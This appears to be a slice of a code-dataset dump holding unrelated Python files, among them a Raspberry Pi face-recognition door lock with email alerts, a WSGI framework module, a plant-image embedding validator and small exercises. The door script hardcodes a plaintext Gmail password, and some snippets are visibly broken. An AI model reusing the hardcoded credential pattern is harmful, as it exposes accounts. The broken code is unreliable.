print(self.deg_per_step)\n self.steps_per_rev = 512 # 4096\n self.step_angle = 0 # Assume the way it is pointing is zero degrees\n print(self.deg_per_step, self.steps_per_rev, self.step_angle)\n self._T = 0.005\n for p in pins:\n GPIO.setup(p, GPIO.OUT)\n GPIO.output(p, 0)\n \n def move_to(self, angle):\n \"\"\"Take the shortest route to a particular angle (degrees).\"\"\"\n # Make sure there is a 1:1 mapping between angle and stepper angle\n target_step_angle = int(angle / self.deg_per_step)\n steps = target_step_angle - self.step_angle\n steps = (steps % self.steps_per_rev)\n print(self.deg_per_step, target_step_angle, self.step_angle, steps)\n if steps > self.steps_per_rev / 2:\n steps -= self.steps_per_rev\n self._move_acw(-steps)\n else:\n self._move_cw(steps)\n self.step_angle = target_step_angle\n\n def __clear(self):\n GPIO.output(self.P1, 0)\n GPIO.output(self.P2, 0)\n GPIO.output(self.P3, 0)\n GPIO.output(self.P4, 0)\n\n def _move_acw(self, big_steps):\n self.__clear()\n for i in range(big_steps):\n #print(i)\n GPIO.output(self.P3, 0)\n GPIO.output(self.P1, 1)\n sleep(self._T * 2)\n GPIO.output(self.P2, 0)\n GPIO.output(self.P4, 1)\n sleep(self._T * 2)\n GPIO.output(self.P1, 0)\n GPIO.output(self.P3, 1)\n sleep(self._T * 2)\n GPIO.output(self.P4, 0)\n GPIO.output(self.P2, 1)\n sleep(self._T * 2)\n\n def _move_cw(self, big_steps):\n self.__clear()\n for i in range(big_steps):\n GPIO.output(self.P4, 0)\n GPIO.output(self.P2, 1)\n sleep(self._T * 2)\n GPIO.output(self.P1, 0)\n GPIO.output(self.P3, 1)\n sleep(self._T * 2)\n GPIO.output(self.P2, 0)\n GPIO.output(self.P4, 1)\n sleep(self._T * 2)\n GPIO.output(self.P3, 0)\n GPIO.output(self.P1, 1)\n sleep(self._T * 2)\n\n\ndef sendMail(data):\n mail.attach(MIMEText(body, 'plain'))\n dat='%s.jpg'%data\n print (dat)\n attachment = open(dat, 'rb')\n image=MIMEImage(attachment.read())\n attachment.close()\n mail.attach(image)\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(fromaddr, \"project@123\")\n text = mail.as_string()\n print(\"Processing Image\")\n known_image = face_recognition.load_image_file(\"/home/pi/Documents/vamsi.jpeg\")\n unknown_image = face_recognition.load_image_file(\"/home/pi/Documents/img.jpg\")\n biden_encoding = face_recognition.face_encodings(known_image)[0]\n unknown_encoding = face_recognition.face_encodings(unknown_image)[0]\n results = face_recognition.compare_faces([biden_encoding], unknown_encoding)\n if results[0]==True:\n print(\"Welcome Home\")\n GPIO.setmode(GPIO.BOARD)\n m = Motor([11,13,15,16])\n m.move_to(-90)\n sleep(1)\n m.move_to(0)\n sleep(1)\n else:\n print(\"Intruder...\")\n server.sendmail(fromaddr, toaddr, text)\n server.quit()\n\ndef capture_image():\n data=\"img\"\n camera.start_preview()\n time.sleep(5)\n camera.capture('%s.jpg'%data)\n camera.stop_preview()\n time.sleep(1)\n sendMail(data)\n \nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(18, GPIO.IN) #Read output from PIR motion sensor\nGPIO.setup(3, GPIO.OUT) #LED output pin\n\nGPIO.output(3, 0)\ncamera = picamera.PiCamera()\ncamera.rotation=0\ncamera.awb_mode= 'auto'\ncamera.brightness=50\nwhile True:\n i=GPIO.input(18)\n print(i)\n if i==1: #When output from motion sensor is LOW\n print (\"Motion Detected\")\n GPIO.output(3, 1)\n capture_image()\n time.sleep(1)\n \n #Turn OFF LED\n# time.sleep(0.1)\n elif i==0: #When output from motion sensor is HIGH\n print (\"No Motion detected\")\n GPIO.output(3, 0)\n time.sleep(0.01)#Turn ON LED\n# time.sleep(0.1)","sub_path":"Smart Door Using Face_recognition/face_recognition.py","file_name":"face_recognition.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"929558","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/rhubarbtart/__init__.py\n# Compiled at: 2006-02-01 20:54:48\nimport types\nfrom rhubarbtart.threadobject import FakeObject\nfrom rhubarbtart.httpobjects import Request, Response\nfrom paste.request import parse_formvars\nfrom paste.util import import_string\nfrom paste import httpexceptions\nfrom paste.deploy.converters import asbool\nfrom paste import fileapp\n__all__ = [\n 'request', 'response', 'TartRootController', 'WSGIApp', 'expose', 'make_middleware', 'httpobjects']\nrequest = FakeObject('rhubarbtart.request')\nresponse = FakeObject('rhubarbtart.response')\n\ndef expose(func):\n \"\"\"\n Decorator to mark a method as public (having an ``.exposed``\n attribute indicates this; this decorator just sets that\n attribute).\n \"\"\"\n func.exposed = True\n return func\n\n\ndef make_middleware(app, global_conf, **local_conf):\n \"\"\"\n Wrap the basic application (typically based on TartRootController)\n in a standard set of middleware.\n \"\"\"\n wrapped = app\n conf = global_conf.copy()\n conf.update(local_conf)\n debug = asbool(conf.get('debug', False))\n if asbool(conf.get('use_httpexceptions', True)):\n wrapped = httpexceptions.make_middleware(wrapped, conf)\n if asbool(conf.get('use_recursive', True)):\n from paste import recursive\n wrapped = recursive.RecursiveMiddleware(wrapped, conf)\n if asbool(conf.get('use_session', True)):\n from paste import session\n wrapped = session.SessionMiddleware(wrapped, conf)\n if debug:\n if asbool(conf.get('use_wdg_validate', False)):\n from paste.debug import wdg_validate\n wrapped = wdg_validate.WDGValidateMiddleware(wrapped, conf)\n if asbool(conf.get('use_lint', False)):\n from paste import lint\n wrapped = lint.make_middleware(wrapped, conf)\n if asbool(conf.get('use_profile', False)):\n from paste.debug import profile\n wrapped = profile.ProfileMiddleware(wrapped, conf)\n if asbool(conf.get('use_interactive', False)):\n from paste import evalexception\n wrapped = evalexception.EvalException(wrapped, conf)\n else:\n from paste.exceptions import errormiddleware\n wrapped = errormiddleware.ErrorMiddleware(wrapped, conf)\n if asbool(conf.get('use_printdebug', True)):\n from paste.debug import prints\n wrapped = prints.PrintDebugMiddleware(wrapped, conf)\n from paste.deploy.config import ConfigMiddleware\n wrapped = ConfigMiddleware(wrapped, conf)\n return wrapped\n\n\nclass WSGIApp(object):\n \"\"\"\n Used to wrap a WSGI application to put it in the object\n tree and have it invoked.\n\n Any object with a ``.wsgi_application`` attribute will do, this\n just happens to be an easy way to make such an attribute.\n\n Usage::\n\n class Root(object):\n foreign_app = WSGIApp(actual_wsgi_app)\n \"\"\"\n __module__ = __name__\n exposed = True\n\n def __init__(self, app):\n self.wsgi_application = app\n\n\nclass TartRootController(object):\n __module__ = __name__\n root_object = None\n\n def __init__(self, root_object=None):\n if root_object is None:\n root_object = self\n if isinstance(root_object, basestring):\n root_object = import_string.eval_import(root_object)\n self.root_object = root_object\n return\n\n def __call__(self, environ, start_response):\n req = Request(environ)\n res = Response()\n request._FAKE_attach(req)\n response._FAKE_attach(res)\n path = environ['PATH_INFO']\n path = path.strip('/')\n if not path:\n name_list = []\n else:\n name_list = path.split('/')\n used_names = []\n extra_names = name_list[:]\n name_list = name_list + ['index']\n if self.root_object is None:\n node = self\n else:\n node = self.root_object\n trail = []\n for name in name_list:\n objname = name.replace('.', '_')\n node = getattr(node, objname, None)\n if extra_names:\n used_names.append(extra_names.pop(0))\n if node == None:\n trail.append((name, node))\n else:\n trail.append((objname, node))\n\n handler = None\n unexposed = None\n names = [ name for (name, candidate) in trail ]\n for i in xrange(len(trail) - 1, -1, -1):\n (name, candidate) = trail[i]\n consumed_path = names[:i + 1]\n positional_args = names[i + 1:-1]\n defhandler = getattr(candidate, 'default', None)\n if callable(defhandler) and getattr(defhandler, 'exposed', False):\n handler = defhandler\n break\n wsgihandler = None\n wsgi_application = getattr(candidate, 'wsgi_application', None)\n if wsgi_application and getattr(candidate, 'exposed', False):\n if isinstance(wsgi_application, int):\n wsgihandler = candidate\n else:\n wsgihandler = wsgi_application\n if wsgihandler:\n pass\n else:\n script_name = '/' + ('/').join(consumed_path)\n path_info = '/' + ('/').join(positional_args)\n if path_info == '/':\n if not environ['PATH_INFO'].endswith('/'):\n path_info = ''\n if path_info and script_name == '/':\n script_name = ''\n environ['SCRIPT_NAME'] += script_name\n environ['PATH_INFO'] = path_info\n return wsgihandler(environ, start_response)\n if callable(candidate):\n if getattr(candidate, 'exposed', False):\n handler = candidate\n break\n else:\n unexposed = candidate\n\n if handler is None:\n if unexposed:\n comment = '%r not .exposed' % unexposed\n else:\n comment = None\n not_found = httpexceptions.HTTPNotFound(comment=comment)\n return not_found.wsgi_application(environ, start_response)\n formvars = parse_formvars(environ)\n if not formvars:\n formvars = {}\n res.body = handler(*positional_args, **formvars)\n return_value = convert_body(res.body)\n headers = res.headers.headeritems()\n start_response(res.status, headers)\n return return_value\n\n\ndef convert_body(value):\n if isinstance(value, types.FileType):\n value = fileapp._FileIter(value)\n elif isinstance(value, types.GeneratorType):\n value = flattener(value)\n elif isinstance(value, basestring):\n value = [\n value]\n elif value is None:\n value = []\n return value\n\n\ndef flattener(body):\n \"\"\"Yield the given input, recursively iterating over each result\n (if needed).\"\"\"\n for x in body:\n if not isinstance(x, types.GeneratorType):\n yield x\n else:\n for y in flattener(x):\n yield y","sub_path":"pycfiles/RhubarbTart-0.5-py2.4/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"386824165","text":"def guessNumber():\r\n x=input(\"Please enter the lower and upper numbers,separated by a comma:\")\r\n y=''\r\n z=''\r\n for i in range(len(x)):\r\n if(x[i]==','):\r\n for j in range(0,i):\r\n y= y + x[j]\r\n for k in range(i+1,len(x)):\r\n z= z + x[k]\r\n print(\"The range of numbers is [\" + y +\"...\"+ z +\"].\")\r\n y=int(y)\r\n z=int(z)\r\n import random\r\n num = random.randint( y , z )\r\n m='1'\r\n guess = int(input( \"Attempt #\" + m + \": Please guess a number.\"))\r\n while (guess != num):\r\n if (guessz):\r\n print(\"Your input is out of range.\")\r\n guess = int(input( \"Attempt #\" + m + \": Please guess a number.\"))\r\n elif( guess > num):\r\n print(\"Your number is too big.\")\r\n m = str(int(m) + 1)\r\n guess = int(input( \"Attempt #\" + m + \": Please guess a number.\"))\r\n elif( guess < num):\r\n print(\"Your number is too small.\")\r\n m = str(int(m) + 1)\r\n guess = int(input( \"Attempt #\" + m + \": Please guess a number.\"))\r\n while (guess == num):\r\n print(\"Congratulation, you got it after \"+ m +\" guesses\")\r\n break\r\n","sub_path":"Python_Exercise/A3/18080236_Q3.py","file_name":"18080236_Q3.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"498049926","text":"# Neuon AI - PlantCLEF 2021\n\n\"\"\"\ncurrent architecture: inception v4\n- change network architecture accordingly\n\"\"\"\n\nimport sys\nsys.path.append(\"PATH_TO_SLIM\") # path to /models/research/slim\nimport tensorflow as tf\nfrom preprocessing import inception_preprocessing\nslim = tf.contrib.slim\nimport numpy as np\nfrom nets.inception_v4 import inception_v4\nfrom nets import inception_utils\nimport os\nfrom six.moves import cPickle\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport datetime\n\n\n# ----- Directories ----- #\nimage_dir_parent_train = \"PATH_TO_PlantCLEF2021TrainingData\"\nimage_dir_parent_test = \"PATH_TO_PlantCLEF2021TrainingData\"\n\ntest_field_file = \"list/HFTL/clef2020_known_classes_field_test.txt\" # Test Set 1 (with field training data)\n#test_field_file = \"list/missing_class_sample.txt\" # Test Set 2 (without field training data)\n\ncheckpoint_model = \"PATH_TO_TRAINED_MODEL\" # .ckpt\n\nherbarium_dictionary_file = \"PATH_TO_SAVED_HERBARIUM_DICTIONARY_FILE\" # .pkl\n\nprediction_file = \"PATH_TO_SAVE_PREDICTION_PKL_FILE\" # .pkl\n\n\n\nfield_dict = {}\n# ----- Load field ----- #\nwith open(test_field_file,'r') as fid2:\n f_lines = [x.strip() for x in fid2.readlines()]\n \nfield_paths = [os.path.join(image_dir_parent_test,\n x.split(' ')[0]) for x in f_lines]\nfield_labels = [int(x.split(' ')[3]) for x in f_lines]\n\nfor key, value in zip(field_labels, field_paths):\n if key not in field_dict:\n field_dict[key] = [] \n \n# value = value.replace(\"/\", \"\\\\\")\n field_dict[key].append(value)\n\n \n \n# ----- Read dictionary pkl file ----- #\nwith open(herbarium_dictionary_file,'rb') as fid1:\n\therbarium_dictionary = cPickle.load(fid1)\n \n\n# ----- Network hyperparameters ----- #\nglobal_batch = 6 # global_batch * 5 = actual batch\nbatch = 60\nnumclasses1 = 997\nnumclasses2 = 10000\ninput_size = (299,299,3)\nimg_height, img_width = 299, 299\n\n# ----- Initiate tensors ----- #\nx1 = tf.placeholder(tf.float32,(batch,) + input_size)\nx2 = tf.placeholder(tf.float32,(batch,) + input_size)\ny1 = tf.placeholder(tf.int32,(batch,))\ny2 = tf.placeholder(tf.int32,(batch,))\nis_training = tf.placeholder(tf.bool)\nis_train = tf.placeholder(tf.bool, name=\"is_training\")\n\ntf_filepath2 = tf.placeholder(tf.string,shape=(global_batch,))\n\ndef datetimestr():\n return datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n\ndef read_images(p):\n im = tf.io.read_file(p) \n im = tf.cast(tf.image.resize_images(tf.image.decode_png(\n im, channels=3, dtype=tf.uint8),(299,299)),tf.float32)\n \n im1 = im[0:260,0:260,:]\n im2 = im[0:260,-260:,:]\n im3 = im[-260:,0:260,:]\n im4 = im[-260:,-260:,:]\n im5 = im[19:279,19:279,:]\n \n im1 = tf.cast(tf.image.resize_images(im1,(299,299)),tf.float32)\n im2 = tf.cast(tf.image.resize_images(im2,(299,299)),tf.float32)\n im3 = tf.cast(tf.image.resize_images(im3,(299,299)),tf.float32)\n im4 = tf.cast(tf.image.resize_images(im4,(299,299)),tf.float32)\n im5 = tf.cast(tf.image.resize_images(im5,(299,299)),tf.float32)\n \n im6 = tf.image.flip_left_right(im1)\n im7 = tf.image.flip_left_right(im2)\n im8 = tf.image.flip_left_right(im3)\n im9 = tf.image.flip_left_right(im4)\n im10 = tf.image.flip_left_right(im5)\n \n return tf.stack([im1,im2,im3,im4,im5,im6,im7,im8,im9,im10])\n\nims = tf.map_fn(fn=read_images,elems=tf_filepath2,dtype=np.float32)\nims = tf.reshape(ims,(batch,)+input_size)/255.0\n\n\n# ----- Image preprocessing methods ----- #\ntrain_preproc = lambda xi: inception_preprocessing.preprocess_image(\n xi,input_size[0],input_size[1],is_training=True)\n\ntest_preproc = lambda xi: inception_preprocessing.preprocess_image(\n xi,input_size[0],input_size[1],is_training=False) \n\ndef data_in_train1():\n return tf.map_fn(fn = train_preproc,elems = ims,dtype=np.float32) \n\ndef data_in_test1():\n return tf.map_fn(fn = test_preproc,elems = ims,dtype=np.float32)\n\ndef data_in_train2():\n return tf.map_fn(fn = train_preproc,elems = ims,dtype=np.float32) \n\ndef data_in_test2():\n return tf.map_fn(fn = test_preproc,elems = ims,dtype=np.float32)\n\ndata_in1 = tf.cond(\n is_training,\n true_fn = data_in_train1,\n false_fn = data_in_test1\n )\n\ndata_in2 = tf.cond(\n is_training,\n true_fn = data_in_train2,\n false_fn = data_in_test2\n )\n\n\n\ndef match_herbarium_dictionary(test_embedding_list, herbarium_emb_list):\n similarity = cosine_similarity(test_embedding_list, herbarium_emb_list)\n \n k_distribution = []\n # 1 - Cosine\n print(\"Get probability distribution\")\n for sim in similarity:\n new_distribution = []\n for d in sim:\n new_similarity = 1 - d\n new_distribution.append(new_similarity)\n k_distribution.append(new_distribution)\n \n k_distribution = np.array(k_distribution)\n \n \n softmax_list = []\n # Inverse weighting\n for d in k_distribution:\n inverse_weighting = (1/np.power(d,5))/np.sum(1/np.power(d,5))\n softmax_list.append(inverse_weighting)\n \n softmax_list = np.array(softmax_list) \n \n return softmax_list\n\n\n\n# ----- Construct network 1 ----- #\nwith slim.arg_scope(inception_utils.inception_arg_scope()):\n logits,endpoints = inception_v4(data_in1,\n num_classes=numclasses1,\n is_training=is_training,\n scope='herbarium')\n\n herbarium_embs = endpoints['PreLogitsFlatten']\n \n herbarium_bn = tf.layers.batch_normalization(herbarium_embs, training=is_train)\n\n herbarium_feat = tf.contrib.layers.fully_connected(\n inputs=herbarium_bn,\n num_outputs=500,\n activation_fn=None,\n normalizer_fn=None,\n trainable=True,\n scope='herbarium'\n )\n\n herbarium_feat = tf.math.l2_normalize(\n herbarium_feat,\n axis=1 \n ) \n\n# ----- Construct network 2 ----- # \nwith slim.arg_scope(inception_utils.inception_arg_scope()):\n logits2,endpoints2 = inception_v4(data_in2,\n num_classes=numclasses2,\n is_training=is_training,\n scope='field')\n \n field_embs = endpoints2['PreLogitsFlatten']\n \n field_bn = tf.layers.batch_normalization(field_embs, training=is_train)\n\n field_feat = tf.contrib.layers.fully_connected(\n inputs=field_bn,\n num_outputs=500,\n activation_fn=None,\n normalizer_fn=None,\n trainable=True,\n scope='field'\n ) \n \n field_feat = tf.math.l2_normalize(\n field_feat,\n axis=1 \n ) \n \nfeat_concat = tf.concat([herbarium_feat, field_feat], 0)\n\n \nvariables_to_restore = slim.get_variables_to_restore()\nrestorer = tf.train.Saver(variables_to_restore)\n\nsample_im = ims * 1\n\ngpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.85)\nprint(f\"[{datetimestr()}] Start process\")\nwith tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n \n sess.run(tf.global_variables_initializer())\n restorer.restore(sess, checkpoint_model)\n \n counter = 0\n test_embedding_list = []\n prediction_dictionary = {}\n\n ground_truth_list = []\n filepath_list = []\n \n # ------ Get herbarium dictionary ----- #\n herbarium_emb_list = []\n print(f\"[{datetimestr()}] Get herbarium dictionary\")\n for herbarium_class, herbarium_emb in herbarium_dictionary.items():\n herbarium_emb_list.append(np.squeeze(herbarium_emb))\n \n herbarium_emb_list = np.array(herbarium_emb_list)\n \n # ----- Iterate each class ----- #\n for key in field_dict.keys():\n print(f\"[{datetimestr()}] Key {key}\")\n \n current_class_files = field_dict[key]\n iter_run = len(current_class_files)//global_batch\n \n print(f\"[{datetimestr()}] Files:{len(current_class_files)}\")\n\n if len(current_class_files) > (iter_run * global_batch): \n iter_run += 1\n padded = (iter_run * global_batch) - len(current_class_files) \n current_class_files = current_class_files + ([current_class_files[0]] * padded)\n else:\n padded = 0\n \n c = 0\n for n in range(iter_run):\n\n paths = current_class_files[n*global_batch:(n*global_batch)+global_batch] \n\n ret = sess.run(sample_im,feed_dict = {\n tf_filepath2:paths})\n \n sample_embedding = sess.run(\n field_feat, \n feed_dict = {\n tf_filepath2:paths, \n is_training : False,\n is_train : False\n }\n )\n\n sample_embedding = np.reshape(sample_embedding,(global_batch,10,-1))\n average_corner_crops = np.mean(sample_embedding,axis=1)\n if n == (iter_run - 1): \n for i,a in enumerate(average_corner_crops[0:(global_batch-padded)]):\n test_embedding_list.append(a.reshape(1,500)) \n ground_truth_list.append(key)\n filepath_list.append(paths[i])\n c += 1\n else: \n for i,a in enumerate(average_corner_crops):\n test_embedding_list.append(a.reshape(1,500)) \n ground_truth_list.append(key)\n filepath_list.append(paths[i])\n c += 1\n\n\n \n print(f\"[{datetimestr()}] Counter:{c}\")\n\n \n \n len_test_embedding_list = len(test_embedding_list) \n test_embedding_all_crop_list = np.asarray(test_embedding_list)\n test_embedding_all_crop_list = np.reshape(test_embedding_all_crop_list, (len_test_embedding_list,500))\n \n # ----- Iterate sample over herbarium mean class ----- #\n print(f\"[{datetimestr()}] Comparing sample embedding with herbarium distance...\")\n softmax_all_crop_list = match_herbarium_dictionary(test_embedding_all_crop_list, herbarium_emb_list)\n \n\n # ----- Get all crops results ----- #\n print(f\"[{datetimestr()}] Get top N predictions all crops...\")\n for prediction, key, fp in zip(softmax_all_crop_list, ground_truth_list, filepath_list):\n if fp not in prediction_dictionary:\n prediction_dictionary[fp] = {'prob' : [], 'label' : []}\n prediction_dictionary[fp]['prob'] = prediction\n prediction_dictionary[fp]['label'] = key\n \n \n \n # ----- Save prediction file ----- #\n with open(prediction_file,'wb') as fid:\n cPickle.dump(prediction_dictionary,fid,protocol=cPickle.HIGHEST_PROTOCOL)\n print(f\"[{datetimestr()}] Pkl 1 file created\")\n\n\n \n\n ","sub_path":"validate_HFTL_network.py","file_name":"validate_HFTL_network.py","file_ext":"py","file_size_in_byte":11225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"57764961","text":"# -*- coding: utf-8 -*-\nlength = len(s)\nlen_max = 0\npos_max = 0\nfor i in range(length):\n count = 0\n pos = i\n j = i\n while j < length-1 and s[j] <= s[j + 1]:\n count += 1\n j += 1\n if count > len_max:\n len_max = count\n pos_max = pos\nprint(\"Longest substring in alphabetical order is: \" + \n str(s[pos_max:pos_max+len_max+1]))\n","sub_path":"Python/Introduction/1-Introduction/AlphabeticalSubstrings.py","file_name":"AlphabeticalSubstrings.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"430839497","text":"import os\nimport re\nimport glob\n\nfrom pywb.warcserver.index.indexsource import MementoIndexSource, RemoteIndexSource\nfrom pywb.warcserver.index.indexsource import WBMementoIndexSource\nfrom pywb.utils.loaders import load_yaml_config\n\n\n# ============================================================================\nclass WAMLoader(object):\n STRIP_SCHEME = re.compile(r'https?://')\n\n def __init__(self, index_file=None, base_dir=None):\n self.index_file = index_file or './webarchives.yaml'\n self.base_dir = base_dir or './webrecorder/config/webarchives'\n self.all_archives = {}\n self.replay_info = {}\n\n try:\n self.load_all()\n except IOError:\n print('No Archives Loaded')\n\n def find_archive_for_url(self, url):\n schemeless_url = self.STRIP_SCHEME.sub('', url)\n for pk, info in self.replay_info.items():\n if schemeless_url.startswith(info['replay_prefix']):\n orig_url = schemeless_url[len(info['replay_prefix']):]\n if info.get('parse_collection'):\n coll, orig_url = orig_url.split('/', 1)\n id_ = pk + ':' + coll\n else:\n id_ = pk\n\n return pk, orig_url, id_\n\n def load_all(self):\n for filename in self.load_from_index(self.base_dir, self.index_file):\n data = load_yaml_config(filename)\n res = self.process(data)\n\n def load_from_index(self, base_dir, index_file):\n config = load_yaml_config(os.path.join(base_dir, index_file))\n for pattern in config['webarchive_index']:\n full = os.path.join(base_dir, pattern)\n return glob.glob(full)\n\n def process(self, data):\n webarchives = data['webarchives']\n for pk, webarchive in webarchives.items():\n if 'apis' not in webarchive:\n continue\n\n apis = webarchive['apis']\n if 'wayback' not in apis:\n continue\n\n replay = apis['wayback'].get('replay', {})\n replay_url = replay.get('raw')\n\n if not replay_url:\n continue\n\n archive_name = webarchive.get('name')\n archive_about = webarchive.get('about')\n replay_prefix = self.STRIP_SCHEME.sub('', replay_url.split('{',1)[0])\n collections = webarchive.get('collections')\n\n self.replay_info[pk] = {'replay_url': replay_url,\n 'parse_collection': collections is not None,\n 'replay_prefix': replay_prefix,\n 'name': archive_name,\n 'about': archive_about}\n\n if collections and isinstance(collections, list):\n for coll in collections:\n coll_name = pk + ':' + coll['id']\n self.add_index(replay_url, apis, coll_name, coll['id'])\n\n else:\n coll = ''\n if collections:\n if 'cdx' not in apis:\n # regex collections only supported with cdx for now\n continue\n\n coll = '{src_coll}'\n\n self.add_index(replay_url, apis, pk, collection=coll)\n\n def add_index(self, replay, apis, pk, collection=''):\n replay = replay.replace('{collection}', collection)\n index = None\n\n if 'memento' in apis:\n timegate = apis['memento']['timegate'].replace('{collection}', collection) + '{url}'\n timemap = apis['memento']['timemap'].replace('{collection}', collection) + '{url}'\n index = MementoIndexSource(timegate, timemap, replay)\n elif 'cdx' in apis:\n query = apis['cdx']['query'].replace('{collection}', collection)\n index = RemoteIndexSource(query, replay)\n\n else:\n index = WBMementoIndexSource('', '', replay)\n\n if index:\n self.all_archives[pk] = index\n\n\n# ============================================================================\nif __name__ == \"__main__\":\n WAMImporter('webarchives.yaml', '../config/webarchives')\n\n","sub_path":"webrecorder/webrecorder/load/wamloader.py","file_name":"wamloader.py","file_ext":"py","file_size_in_byte":4195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"114138647","text":"from dataset import *\nfrom model2 import VNet\nimport argparse\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport torch.tensor\nimport torch.backends.cudnn as cudnn\nfrom torch.autograd import Variable\nfrom PIL import Image\nfrom torch.autograd import Variable\nimport shutil\nimport scipy.io as scio\nimport torchvision\nfrom torchvision.utils import *\nfrom trans import *\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataroot', default='/', help='path to dataset')\nparser.add_argument('--dataset', default='DRIVE', help='dataset')\nparser.add_argument('--batchSize', type=int, default=1, help='input batch size')\nparser.add_argument('--isresume', default=False)\nparser.add_argument('--output_path', default='n_exp_d1/', type=str)\n\nparser.add_argument('--workers', type=int, help='number of data loading workers', default=1)\nparser.add_argument('--iscuda' , default=True, help='enables cuda')\nparser.add_argument('--useBN', default=True, help='enalbes batch normalization')\nparser.add_argument('--lossfile', default='loss.mat', type=str)\nparser.add_argument('--output_name', default='checkpoint.tar', type=str, help='output checkpoint filename')\nparser.add_argument('--issave', default=True, type=bool)\nargs = parser.parse_args()\n\n############## dataset processing\ntrans1,trans2 = get_transforms()\n\ndataset = DATASET(args.dataroot,args.dataset,transform1=trans1,transform2=trans2)\ntrain_loader = torch.utils.data.DataLoader(dataset, batch_size=args.batchSize, num_workers=args.workers, shuffle=True)\n\n############## create model\nmodel = VNet(args)\nif args.iscuda:\n model.cuda()\n cudnn.benchmark = True\n\n############## resume\nif os.path.isfile(args.output_path+args.output_name):\n print(\"=> loading checkpoint '{}'\".format(args.output_name))\n if args.iscuda == False:\n checkpoint = torch.load(args.output_path+args.output_name, map_location={'cuda:0':'cpu'})\n else:\n checkpoint = torch.load(args.output_path+args.output_name, map_location={'cuda:0': 'cuda:0'})\n args.start_epoch = checkpoint['epoch']\n model.load_state_dict(checkpoint['state_dict'])\n\n print(\"=> loaded checkpoint (epoch {})\" .format(checkpoint['epoch']) )\nelse:\n print(\"=> no checkpoint found at '{}'\".format(args.output_path+args.output_name))\n\nmodel.eval()\ntrain_loader.batch_size=1\n\ndef showImg(img, fName=''):\n img = img[0,0,:,:]\n img = Image.fromarray(np.uint8(img*255), mode='L')\n if fName:\n img.save(args.output_path+fName+'.png')\n else:\n img.show()\n\nfor i, (x,y) in enumerate(train_loader):\n if i >= 1:\n break\n y_pred, o2, o4, o6 = model(Variable(x.cuda()))\n\n y_pred = y_pred.cpu().data.numpy()\n y_pred = np.argmax(y_pred, axis=1)[:, np.newaxis, :, :]\n\n o2=o2.cpu().data.numpy()\n o2=np.argmax(o2,axis=1)[:, np.newaxis, :, :]\n o4=o4.cpu().data.numpy()\n o4=np.argmax(o4,axis=1)[:, np.newaxis, :, :]\n o6=o6.cpu().data.numpy()\n o6=np.argmax(o6,axis=1)[:, np.newaxis, :, :]\n y=np.argmax(y.numpy(),1)[:, np.newaxis, :, :]\n\n showImg(x.numpy(), fName='ori_' + str(i))\n showImg(y_pred/4.0, fName='pred_' + str(i))\n showImg(y/4.0, fName='gt_' + str(i))\n showImg(o2/4.0, fName='o2_' + str(i))\n showImg(o4/4.0, fName='o4_' + str(i))\n showImg(o6/4.0, fName='o6_' + str(i))","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"180876864","text":"import os\nimport re\n\n# CAMINHO DOS DIRETORIOS\npathDefault = \".\"\npath1 = pathDefault + \"\\\\t1\\\\\"\npath2 = pathDefault + \"\\\\t2\\\\\"\n\ndiffFileT1 = []\ndiffFileT2 = []\n\n# >>>>>>>>>>>> AREA DE COMPARAÇÃO DE LINHAS DIFERENTES <<<<<<<<<<<<\n\n# currentFile = 'JIM0010'\ncurrentFile = 'JIM0020'\n\nwith open(path1 + currentFile, \"r\", encoding=\"utf8\", errors=\"ignore\") as fileT1, open(path2 + currentFile, \"r\", encoding=\"utf8\", errors=\"ignore\") as fileT2:\n\n\t# FATIAR DE LINHAS DE UM ARQUIVO\n\tfileArrayT1 = fileT1.read().split('\\n')\n\tfileArrayT2 = fileT2.read().split('\\n')\n\n\tprint(\"\\n\\n\" + currentFile)\n\tfor f in fileArrayT1:\n\t\tprint(f)\n\n\tfor f in fileArrayT1:\n\t\tprint(f)\n\t\t\n\tfor contadorT1 in range(len(fileArrayT1)):\n\t\tif fileArrayT1[contadorT1] in fileArrayT2:\n\t\t\tprint(\"Existe....\")\n\t\telse:\n\t\t\tprint(\"NOT Existe....\")\n\n\n#|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n","sub_path":"projects/exemplos/compare-lines-two-files/compare-lines-two-files.py","file_name":"compare-lines-two-files.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"536155386","text":"import math, sys\n\nlines = []\nnumLines = 0\nlengthLines = 0\n\nwith open(sys.argv[1], \"r\") as f:\n\tfor line in f:\n\t\tlines.append(line)\n\t\tnumLines += 1\n\tlengthLines = len(line)-1\n\nprint(numLines, lengthLines)\nsums = []\n\nfor i in range(lengthLines,-1,-1):\n\tsum = 0\n\tfor j in range(numLines):\n\t\tsum += int(lines[j][i])\n\tsums.append(sum)\n\t\nanswer = []\nacc = 0\nsize = 